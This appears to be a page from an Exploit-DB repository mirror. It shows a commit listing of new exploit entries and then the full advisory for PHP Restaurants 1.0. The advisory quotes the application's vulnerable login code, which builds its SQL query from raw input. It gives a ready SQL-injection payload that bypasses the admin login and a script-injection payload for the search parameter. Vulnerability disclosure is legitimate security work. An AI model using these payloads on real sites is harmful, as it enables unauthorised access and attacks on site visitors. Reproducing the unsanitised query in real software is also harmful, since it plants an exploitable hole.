668314bbda
19 changes to exploits/shellcodes/ghdb FS-S3900-24T4S - Privilege Escalation Virtual Reception v1.0 - Web Server Directory Traversal admidio v4.2.5 - CSV Injection Companymaps v8.0 - Stored Cross Site Scripting (XSS) GLPI 9.5.7 - Username Enumeration OpenEMR v7.0.1 - Authentication credentials brute force PHP Restaurants 1.0 - SQLi Authentication Bypass & Cross Site Scripting PHPFusion 9.10.30 - Stored Cross-Site Scripting (XSS) PHPJabbers Simple CMS 5.0 - SQL Injection PHPJabbers Simple CMS V5.0 - Stored Cross-Site Scripting (XSS) phpMyFAQ v3.1.12 - CSV Injection projectSend r1605 - Private file download revive-adserver v5.4.1 - Cross-Site Scripting (XSS) Serendipity 2.4.0 - File Inclusion RCE SoftExpert (SE) Suite v2.1.3 - Local File Inclusion Advanced Host Monitor v12.56 - Unquoted Service Path MilleGPG5 5.9.2 (Gennaio 2023) - Local Privilege Escalation / Incorrect Access Control
48 lines
No EOL
1.3 KiB
Text
48 lines
No EOL
1.3 KiB
Text
# Exploit Title: PHP Restaurants 1.0 - SQLi Authentication Bypass & Cross Site Scripting (XSS)
|
|
# Google Dork: None
|
|
# Date: 4/26/2023
|
|
# Exploit Author: Or4nG.M4n
|
|
# Vendor Homepage: https://github.com/jcwebhole
|
|
# Software Link: https://github.com/jcwebhole/php_restaurants
|
|
# Version: 1.0
|
|
|
|
|
|
functions.php
|
|
|
|
function login(){
|
|
global $conn;
|
|
$email = $_POST['email'];
|
|
$pw = $_POST['password'];
|
|
|
|
$sql = "SELECT * FROM `users` WHERE `email` = '".$email."' AND `password` =
|
|
'".md5($pw)."'"; <-- there is No filter to secure sql query
|
|
parm[email][password]
|
|
$result = $conn->query($sql);
|
|
if ($result->num_rows > 0) {
|
|
while($row = $result->fetch_assoc()) {
|
|
setcookie('uid', $row['id'], time() + (86400 * 30), "/"); // 86400 = 1 day
|
|
header('location: index.php');
|
|
}
|
|
} else {
|
|
header('location: login.php?m=Wrong Password');
|
|
}
|
|
|
|
}
|
|
|
|
login bypass at admin page /rest1/admin/login.php
|
|
|
|
email & password : ' OR 1=1 -- <- add [space] end of the payload
|
|
|
|
cross site scripting main page /index.php
|
|
|
|
xhttp.open("GET", "functions.php?f=getRestaurants<?php
|
|
if(isset($_GET['search'])) echo '&search='.$_GET['search']; <-- here we
|
|
can insert our xss payload
|
|
?>
|
|
", true);
|
|
xhttp.send();
|
|
|
|
</script> <-- when you insert your'e payload don't forget to add </script>
|
|
like
|
|
|
|
xss payload : </script><img onerror=alert(1) src=a> |